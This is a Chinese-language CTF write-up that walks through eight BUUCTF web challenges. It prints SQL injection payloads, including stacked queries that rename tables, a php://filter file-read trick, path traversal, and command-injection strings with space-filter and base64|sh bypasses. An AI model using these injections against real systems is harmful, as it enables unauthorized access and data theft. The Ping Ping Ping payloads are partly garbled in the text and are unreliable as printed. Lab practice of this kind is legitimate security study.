目录
BUUCTF WEB
(一)[极客大挑战 2019]EasySQL
题目地址
解题思路
- 由题目猜测和SQL注入有关
- 靶机打开界面如下,猜测会把用户名和密码输出作为sql语句的搜索变量
- 查看网页源码,发现请求方法是get,并且前端没有对输入进行校验
</head>
<body background="./image/background.jpg" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;" >
<form action="check.php" method="GET">
<div>
</br></br></br></br>
<p style="font-family:arial;color:white;font-size:20px;text-align:center;font-family:KaiTi;">我是cl4y,是一个WEB开发程序员,最近我做了一个网站,快来看看它有多精湛叭!</p>
</br></br></br></br></br></br></br>
<p style="font-family:arial;color:white;font-size:20px;text-align:center;">用户名:</p>
<div align="center"><input type="text" name="username" style="text-align:center;" class="input" /></div>
<p style="font-family:arial;color:white;font-size:20px;text-align:center;">密 码:</p>
<div align="center"><input type="text" name="password" style="text-align:center;" class="input" /></div>
<div align="center">
<input type="submit" value="登录" class="slickButton3">
</div>
</div>
</form>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
-
尝试使用万能密码绕过验证,利用sql语句里的or和注释,使查询通过
-
通过,拿到flag
(二)[极客大挑战 2019]Havefun
题目地址
解题思路
- 靶机打开界面如下,没有要求输入信息。因此直接查看源代码,发现一段可疑注释
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
- 提到了GET请求,其中参数‘cat’如果等于‘dog’,会输出‘Syc{cat_cat_cat_cat}’,于是在地址栏尝试增加请求参数cat=dog
- 出现flag
(三)[HCTF 2018]WarmUp
题目地址
解题思路
- 查看网页源码,发现source.php文件
- 查看source.php,得到如下源码,分析逻辑,$_REQUEST[‘file’]对应的值在?前的文件应该在白名单中,猜测是白名单的另一个文件hint.php,同时单独查看hint.php,其指示了flag在ffffllllaaaagggg
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 结合以上信息,逐级遍历ffffllllaaaagggg目录,在第5级父目录找到ffffllllaaaagggg文件,得到flag
(四)[ACTF2020 新生赛]Include
题目地址
解题思路
-
打开靶机,点击tips,跳转到打开界面为一个php页面,无法查看源码
-
考虑到使用伪协议通过base64转码(php://filter/read=convert.base64-encode/resource=flag.php)来查看源码,此协议是指通过base64加密的方式读取对象为flag.php的本地文件
-
base64解码后出现flag,所以flag藏在php源码中
(五)[ACTF2020 新生赛]Exec
题目地址
解题思路
-
打开靶机,查看源码没有发现,结合题目,猜测使用了php的exec函数,考虑RCE
-
输入1.1.1.1 ; ls (一个有效IP加上管道)试一试,得到响应如下,确认可以执行远程命令
-
输入1.1.1.1 ; ls / 在服务器根目录找到flag文件,查看得到flag
-
1.1.1.1 ; cat /flag 得到flag
(六)[GXYCTF2019]Ping Ping Ping
题目地址
解题思路
-
打开靶机,查看源码没有发现,结合页面提示,猜测可以在地址栏传参ip
-
地址栏传参1.1.1.1 ; ls (一个有效IP加上管道)试一试,得到响应如下,确认可以执行远程命令
-
输入1.1.1.1 ; cat flag.php 查看失败,尝试绕过/?ip=1.1.1.1;cat$IFS$6flag.php空格替换依旧失败
-
转向index.php,用 /?ip=1.1.1.1;cat$IFS$6index.php 得到index源码,此处需要绕过空格替换
-
根据index代码分析,至少有三个方法可以实现绕过匹配,在源代码中找到flag,1)把flag拆开构造payload;2)使用``内联管道;3)使用编码绕过e.g. base64
-
方法一:/?ip=1.1.1.1;temp=lag;cat$IFS 6 f 6f 6ftemp.php;方法二:/?ip=1.1.1.1;cat$IFS 6 ‘ l s ‘ ;方法三: / ? i p = 1.1.1.1 ; Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 6`ls`;方法三:/?ip=1.1.1.1;Y2F0IGZsYWcucGhw|base64 6‘ls‘;方法三:/?ip=1.1.1.1;Y2F0IGZsYWcucGhw∣base64IFS$6-d|sh
(七)[强网杯 2019]随便注
题目地址
解题思路
-
打开靶机,查看源码只提到sqlmap,没有其他发现,结合题目提示,猜测用SQL注入
-
先尝试手注,用1’#和1’对比,发现sql是以单引号闭合
1'#
1'
- 尝试union select看回显,发现select被禁,无法使用联合查询
1' union select 1
4. 尝试堆叠注入查看数据库1’;show databases;#,查看回显,成功注入
1';show databases;#
- 查看表,发现有两个,分别查看
1';show tables;#
1'; show columns from `1919810931114514`;#
1'; show columns from `words`;#
6. 看到flag存在表格1919810931114514中,然而words的id和data像是回显部分,猜测程序的sql语句使用的是表格words,因此需要把1919810931114514表格名字改为words,再把flag属性名改成id,之前需要把原来的words表名换一个名字
1'; rename table `words` to `wordsbak`; rename table `1919810931114514` to `words`; alter table words change flag id varchar(100); show tables;#
- 用万能sql语句查询,得到答案
1' or 1=1 #
(八)[SUCTF 2019]EasySQL
题目地址
解题思路
- 打开靶机如下,猜测是sql注入
- 尝试了字母和数字,最终发现只有非零数字有如下回显,猜测查询语句包含||
- 尝试#,1||1=1#万能绕过没有反应,尝试堆叠注入有得到进一步回显
- 但是用1;select * from Flag;失败,于是尝试用命令set sql_mode=pipes_as_concat把||转换成concat,使用1;set sql_mode=pipes_as_concat;select 1得到flag,相当于select 1 || column from Flag = select concat(1,column) from Flag